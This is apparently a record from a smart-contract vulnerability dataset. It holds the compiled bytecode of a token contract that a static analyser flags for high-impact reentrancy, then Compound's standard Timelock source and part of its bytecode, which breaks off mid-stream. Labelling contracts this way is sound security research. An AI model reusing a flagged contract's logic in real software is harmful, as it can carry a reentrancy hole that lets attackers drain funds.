fffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f0e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f1d57600090506120a4565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fe057600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561208b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120a357600a54600c81905550600b54600d819055505b5b6120b08484848461247a565b50505050565b60008383111582906120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f59190612e3d565b60405180910390fd5b506000838561210d919061396f565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612182573d6000803e3d6000fd5b5050565b60006006548211156121cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c490613a15565b60405180910390fd5b60006121d76124a7565b90506121ec81846124d290919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222b5761222a612bcb565b5b6040519080825280602002602001820160405280156122595781602001602082028036833780820191505090505b5090503081600081518110612271576122706132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561231357600080fd5b505afa158015612327573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234b9190613a4a565b8160018151811061235f5761235e6132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123c630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611666565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161242a959493929190613b70565b600060405180830381600087803b15801561244457600080fd5b505af1158015612458573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124885761248761251c565b5b61249384848461255f565b806124a1576124a061272a565b5b50505050565b60008060006124b461273e565b915091506124cb81836124d290919063ffffffff16565b9250505090565b600061251483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061279d565b905092915050565b6000600c5414801561253057506000600d54145b1561253a5761255d565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061257187612800565b9550955095509550955095506125cf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b081612910565b6126ba84836129cd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127179190612f94565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612772670de0b6b3a76400006006546124d290919063ffffffff16565b82101561279057600654670de0b6b3a7640000935093505050612799565b81819350935050505b9091565b600080831182906127e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127db9190612e3d565b60405180910390fd5b50600083856127f39190613bf9565b9050809150509392505050565b600080600080600080600080600061281d8a600c54600d54612a07565b925092509250600061282d6124a7565b905060008060006128408e878787612a9d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b6565b905092915050565b60008082846128c19190613887565b905083811015612906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fd90613c76565b60405180910390fd5b8091505092915050565b600061291a6124a7565b905060006129318284612b2690919063ffffffff16565b905061298581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129e28260065461286890919063ffffffff16565b6006819055506129fd816007546128b290919063ffffffff16565b6007819055505050565b600080600080612a336064612a25888a612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a5d6064612a4f888b612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a8682612a78858c61286890919063ffffffff16565b61286890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ab68589612b2690919063ffffffff16565b90506000612acd8689612b2690919063ffffffff16565b90506000612ae48789612b2690919063ffffffff16565b90506000612b0d82612aff858761286890919063ffffffff16565b61286890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b395760009050612b9b565b60008284612b479190613c96565b9050828482612b569190613bf9565b14612b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8d90613d62565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c0382612bba565b810181811067ffffffffffffffff82111715612c2257612c21612bcb565b5b80604052505050565b6000612c35612ba1565b9050612c418282612bfa565b919050565b600067ffffffffffffffff821115612c6157612c60612bcb565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ca282612c77565b9050919050565b612cb281612c97565b8114612cbd57600080fd5b50565b600081359050612ccf81612ca9565b92915050565b6000612ce8612ce384612c46565b612c2b565b90508083825260208201905060208402830185811115612d0b57612d0a612c72565b5b835b81811015612d345780612d208882612cc0565b845260208401935050602081019050612d0d565b5050509392505050565b600082601f830112612d5357612d52612bb5565b5b8135612d63848260208601612cd5565b91505092915050565b600060208284031215612d8257612d81612bab565b5b600082013567ffffffffffffffff811115612da057612d9f612bb0565b5b612dac84828501612d3e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612def578082015181840152602081019050612dd4565b83811115612dfe576000848401525b50505050565b6000612e0f82612db5565b612e198185612dc0565b9350612e29818560208601612dd1565b612e3281612bba565b840191505092915050565b60006020820190508181036000830152612e578184612e04565b905092915050565b6000819050919050565b612e7281612e5f565b8114612e7d57600080fd5b50565b600081359050612e8f81612e69565b92915050565b60008060408385031215612eac57612eab612bab565b5b6000612eba85828601612cc0565b9250506020612ecb85828601612e80565b9150509250929050565b60008115159050919050565b612eea81612ed5565b82525050565b6000602082019050612f056000830184612ee1565b92915050565b6000819050919050565b6000612f30612f2b612f2684612c77565b612f0b565b612c77565b9050919050565b6000612f4282612f15565b9050919050565b6000612f5482612f37565b9050919050565b612f6481612f49565b82525050565b6000602082019050612f7f6000830184612f5b565b92915050565b612f8e81612e5f565b82525050565b6000602082019050612fa96000830184612f85565b92915050565b600080600060608486031215612fc857612fc7612bab565b5b6000612fd686828701612cc0565b9350506020612fe786828701612cc0565b9250506040612ff886828701612e80565b9150509250925092565b600060ff82169050919050565b61301881613002565b82525050565b6000602082019050613033600083018461300f565b92915050565b61304281612c97565b82525050565b600060208201905061305d6000830184613039565b92915050565b60006020828403121561307957613078612bab565b5b600061308784828501612cc0565b91505092915050565b61309981612ed5565b81146130a457600080fd5b50565b6000813590506130b681613090565b92915050565b6000602082840312156130d2576130d1612bab565b5b60006130e0848285016130a7565b91505092915050565b6000602082840312156130ff576130fe612bab565b5b600061310d84828501612e80565b91505092915050565b600080600080608085870312156131305761312f612bab565b5b600061313e87828801612e80565b945050602061314f87828801612e80565b935050604061316087828801612e80565b925050606061317187828801612e80565b91505092959194509250565b600080fd5b60008083601f84011261319857613197612bb5565b5b8235905067ffffffffffffffff8111156131b5576131b461317d565b5b6020830191508360208202830111156131d1576131d0612c72565b5b9250929050565b6000806000604084860312156131f1576131f0612bab565b5b600084013567ffffffffffffffff81111561320f5761320e612bb0565b5b61321b86828701613182565b9350935050602061322e868287016130a7565b9150509250925092565b6000806040838503121561324f5761324e612bab565b5b600061325d85828601612cc0565b925050602061326e85828601612cc0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132ae602083612dc0565b91506132b982613278565b602082019050919050565b600060208201905081810360008301526132dd816132a1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061334d82612e5f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133805761337f613313565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133e7602683612dc0565b91506133f28261338b565b604082019050919050565b60006020820190508181036000830152613416816133da565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613479602483612dc0565b91506134848261341d565b604082019050919050565b600060208201905081810360008301526134a88161346c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061350b602283612dc0565b9150613516826134af565b604082019050919050565b6000602082019050818103600083015261353a816134fe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061359d602583612dc0565b91506135a882613541565b604082019050919050565b600060208201905081810360008301526135cc81613590565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061362f602383612dc0565b915061363a826135d3565b604082019050919050565b6000602082019050818103600083015261365e81613622565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136c1602983612dc0565b91506136cc82613665565b604082019050919050565b600060208201905081810360008301526136f0816136b4565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613753603f83612dc0565b915061375e826136f7565b604082019050919050565b6000602082019050818103600083015261378281613746565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137bf601c83612dc0565b91506137ca82613789565b602082019050919050565b600060208201905081810360008301526137ee816137b2565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613851602383612dc0565b915061385c826137f5565b604082019050919050565b6000602082019050818103600083015261388081613844565b9050919050565b600061389282612e5f565b915061389d83612e5f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138d2576138d1613313565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613939602383612dc0565b9150613944826138dd565b604082019050919050565b600060208201905081810360008301526139688161392c565b9050919050565b600061397a82612e5f565b915061398583612e5f565b92508282101561399857613997613313565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139ff602a83612dc0565b9150613a0a826139a3565b604082019050919050565b60006020820190508181036000830152613a2e816139f2565b9050919050565b600081519050613a4481612ca9565b92915050565b600060208284031215613a6057613a5f612bab565b5b6000613a6e84828501613a35565b91505092915050565b6000819050919050565b6000613a9c613a97613a9284613a77565b612f0b565b612e5f565b9050919050565b613aac81613a81565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ae781612c97565b82525050565b6000613af98383613ade565b60208301905092915050565b6000602082019050919050565b6000613b1d82613ab2565b613b278185613abd565b9350613b3283613ace565b8060005b83811015613b63578151613b4a8882613aed565b9750613b5583613b05565b925050600181019050613b36565b5085935050505092915050565b600060a082019050613b856000830188612f85565b613b926020830187613aa3565b8181036040830152613ba48186613b12565b9050613bb36060830185613039565b613bc06080830184612f85565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c0482612e5f565b9150613c0f83612e5f565b925082613c1f57613c1e613bca565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c60601b83612dc0565b9150613c6b82613c2a565b602082019050919050565b60006020820190508181036000830152613c8f81613c53565b9050919050565b6000613ca182612e5f565b9150613cac83612e5f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ce557613ce4613313565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d4c602183612dc0565b9150613d5782613cf0565b604082019050919050565b60006020820190508181036000830152613d7b81613d3f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122091717182b1e70fa4458e9e89074a097e13431beb6964b0ff7e9b31c8c8ab001764736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
2,585
0x7CC852Ed19ee9472489fCa82DE8df0fe331AAfCc
// SPDX-License-Identifier: MIT pragma solidity 0.6.8; // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // COPIED FROM https://github.com/compound-finance/compound-protocol/blob/master/contracts/Timelock.sol // Copyright 2020 Compound Labs, Inc. // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // /** * @dev Time lock to delay transaction executions. */ contract Timelock { using SafeMath for uint256; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint256 indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta); uint256 public constant GRACE_PERIOD = 14 days; uint256 public constant MINIMUM_DELAY = 1 days; uint256 public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint256 public delay; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint256 delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; } receive() external payable { } function setDelay(uint256 delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint256 value, string memory signature, bytes memory data, uint256 eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint256 value, string memory signature, bytes memory data, uint256 eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint256 value, string memory signature, bytes memory data, uint256 eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call{value: value}(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint256) { // solium-disable-next-line security/no-block-members return block.timestamp; } }
0x6080604052600436106100d65760003560e01c80636a42b8f81161007f578063c1a287e211610059578063c1a287e214610609578063e177246e1461061e578063f2b0653714610648578063f851a44014610686576100dd565b80636a42b8f8146105ca5780637d645fab146105df578063b1b43ae5146105f4576100dd565b80633a66f901116100b05780633a66f901146102e35780634dd18bf514610446578063591fcdfe14610479576100dd565b80630825f38f146100e25780630e18b6811461029b57806326782247146102b2576100dd565b366100dd57005b600080fd5b610226600480360360a08110156100f857600080fd5b6001600160a01b038235169160208101359181019060608101604082013564010000000081111561012857600080fd5b82018360208201111561013a57600080fd5b8035906020019184600183028401116401000000008311171561015c57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092959493602081019350359150506401000000008111156101af57600080fd5b8201836020820111156101c157600080fd5b803590602001918460018302840111640100000000831117156101e357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550509135925061069b915050565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610260578181015183820152602001610248565b50505050905090810190601f16801561028d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102a757600080fd5b506102b0610bde565b005b3480156102be57600080fd5b506102c7610c87565b604080516001600160a01b039092168252519081900360200190f35b3480156102ef57600080fd5b50610434600480360360a081101561030657600080fd5b6001600160a01b038235169160208101359181019060608101604082013564010000000081111561033657600080fd5b82018360208201111561034857600080fd5b8035906020019184600183028401116401000000008311171561036a57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092959493602081019350359150506401000000008111156103bd57600080fd5b8201836020820111156103cf57600080fd5b803590602001918460018302840111640100000000831117156103f157600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610c96915050565b60408051918252519081900360200190f35b34801561045257600080fd5b506102b06004803603602081101561046957600080fd5b50356001600160a01b0316610fa7565b34801561048557600080fd5b506102b0600480360360a081101561049c57600080fd5b6001600160a01b03823516916020810135918101906060810160408201356401000000008111156104cc57600080fd5b8201836020820111156104de57600080fd5b8035906020019184600183028401116401000000008311171561050057600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929594936020810193503591505064010000000081111561055357600080fd5b82018360208201111561056557600080fd5b8035906020019184600183028401116401000000008311171561058757600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250611042915050565b3480156105d657600080fd5b506104346112f8565b3480156105eb57600080fd5b506104346112fe565b34801561060057600080fd5b50610434611305565b34801561061557600080fd5b5061043461130c565b34801561062a57600080fd5b506102b06004803603602081101561064157600080fd5b5035611313565b34801561065457600080fd5b506106726004803603602081101561066b57600080fd5b5035611408565b604080519115158252519081900360200190f35b34801561069257600080fd5b506102c761141d565b6000546060906001600160a01b031633146106e75760405162461bcd60e51b81526004018080602001828103825260388152602001806114926038913960400191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561075657818101518382015260200161073e565b50505050905090810190601f1680156107835780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156107b657818101518382015260200161079e565b50505050905090810190601f1680156107e35780820380516001836020036101000a031916815260200191505b5060408051601f1981840301815291815281516020928301206000818152600390935291205490995060ff16975061085496505050505050505760405162461bcd60e51b815260040180806020018281038252603d8152602001806115e5603d913960400191505060405180910390fd5b8261085d61142c565b101561089a5760405162461bcd60e51b81526004018080602001828103825260458152602001806115346045913960600191505060405180910390fd5b6108ad836212750063ffffffff61143016565b6108b561142c565b11156108f25760405162461bcd60e51b81526004018080602001828103825260338152602001806115016033913960400191505060405180910390fd5b6000818152600360205260409020805460ff1916905584516060906109185750836109cf565b85805190602001208560405160200180837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260040182805190602001908083835b602083106109975780518252601f199092019160209182019101610978565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b60006060896001600160a01b031689846040518082805190602001908083835b60208310610a0e5780518252601f1990920191602091820191016109ef565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610a70576040519150601f19603f3d011682016040523d82523d6000602084013e610a75565b606091505b509150915081610ab65760405162461bcd60e51b815260040180806020018281038252603d8152602001806116c8603d913960400191505060405180910390fd5b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610b33578181015183820152602001610b1b565b50505050905090810190601f168015610b605780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610b93578181015183820152602001610b7b565b50505050905090810190601f168015610bc05780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b6001546001600160a01b03163314610c275760405162461bcd60e51b81526004018080602001828103825260388152602001806116226038913960400191505060405180910390fd5b600080543373ffffffffffffffffffffffffffffffffffffffff1991821617808355600180549092169091556040516001600160a01b03909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b6001546001600160a01b031681565b600080546001600160a01b03163314610ce05760405162461bcd60e51b81526004018080602001828103825260368152602001806116926036913960400191505060405180910390fd5b610cfa600254610cee61142c565b9063ffffffff61143016565b821015610d385760405162461bcd60e51b81526004018080602001828103825260498152602001806117056049913960600191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610da7578181015183820152602001610d8f565b50505050905090810190601f168015610dd45780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610e07578181015183820152602001610def565b50505050905090810190601f168015610e345780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016003600083815260200190815260200160002060006101000a81548160ff021916908315150217905550866001600160a01b0316817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610eff578181015183820152602001610ee7565b50505050905090810190601f168015610f2c5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610f5f578181015183820152602001610f47565b50505050905090810190601f168015610f8c5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b333014610fe55760405162461bcd60e51b815260040180806020018281038252603881526020018061165a6038913960400191505060405180910390fd5b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0383811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b6000546001600160a01b0316331461108b5760405162461bcd60e51b81526004018080602001828103825260378152602001806114ca6037913960400191505060405180910390fd5b6000858585858560405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156110fa5781810151838201526020016110e2565b50505050905090810190601f1680156111275780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561115a578181015183820152602001611142565b50505050905